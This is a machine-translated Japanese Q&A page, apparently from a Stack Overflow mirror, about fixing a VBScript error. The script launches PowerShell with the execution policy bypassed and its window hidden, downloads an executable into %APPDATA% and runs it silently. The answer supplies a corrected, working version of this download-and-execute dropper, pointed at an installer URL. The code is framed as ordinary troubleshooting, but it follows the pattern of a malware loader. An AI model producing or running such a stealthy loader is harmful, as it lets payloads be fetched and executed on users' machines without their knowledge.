2017-09-08 5 views
0

次のVBScriptがエラーを与える:VBScriptのコマンドをルートとして起動したpowershell.exe、実行する

failing : error invalid character line 5 column 54

私のVBScript:

dim myobject : 
set myobject = createobject ("wscript.shell") : 
powershellcommand = "powershell.exe -Executionpolicy bypass -noprofile -windowstyle hidden -command Set-content -value (new-object System.net.webclient).downloaddata( https://website.com/folder/download.exe ) -encoding byte -Path $env:appdata\download.exe ; start $env:appdata\download.exe " : 
myobject.run " & myobject.expandenvironmentstrings("%systemroot%") & "\SYSTEM32\windowspowerShell\v1.0\powershell.exe" & " & ' ' & " & powershellcommand & " , 0 : set myobject = NOTHING 

私はそれをどのように修正すればよいですか?

答えて

0

.runの方法に関しては、実行するコマンドラインを示す文字列値は、コマンドプロンプトで入力した場合とまったく同じように表示する必要があります。

powershell.exe -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value (new-object System.net.webclient).downloaddata('http://pspad.poradna.net/release/pspad462_setup.exe') -encoding byte -Path $env:appdata\download.exe; Start-Process $env:appdata\download.exe" 

のようなものと予想(PSVersion 5.1.14409.1012Windows 8.1/64で尽きることのない)上記のようにコマンドが実行されます。しかし、あなたがpowershell実行ファイルへの完全なパスを供給したい場合は、以下のように、それは見ることができる:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value (new-object System.net.webclient).downloaddata('http://pspad.poradna.net/release/pspad462_setup.exe') -encoding byte -Path $env:appdata\download.exe; Start-Process $env:appdata\download.exe" 

あなたが適切例えばVBScriptに、このような文字列値を構築する必要があります以下、後者のコードスニペットのように:

Option Explicit 
Dim WshShell, powershellcommand, objFSO, sPSexePath 

Set WshShell = CreateObject("Wscript.Shell") 

Set objFSO = CreateObject("Scripting.FileSystemObject") 
sPSexePath = objFSO.BuildPath(WshShell.expandenvironmentstrings("%systemroot%") _ 
    , "System32\WindowsPowerShell\v1.0\powershell.exe") 

powershellcommand = """" & sPSexePath & """ -Executionpolicy bypass -noprofile " _ 
    & " -windowstyle hidden -command ""Set-Content -value " _ 
    & " (new-object System.net.webclient)" _ 
    & ".downloaddata('http://pspad.poradna.net/release/pspad462_setup.exe') " _ 
    & " -encoding byte -Path $env:appdata\download.exe; " _ 
    & " Start-Process $env:appdata\download.exe""" 

WshShell.Run powershellcommand, 0 

VBScriptでは、二重引用符(")で囲まれたリテラル文字のシーケンスは、文字列として認識されます。文字列内には一重引用符(')を使用できます。 文字列に二重引用符(")を挿入するには、""と重複している必要があります。

+0

ありがとう、これはずっと前にこれをあきらめました...とにかくありがとう。 – Daemon

関連する問題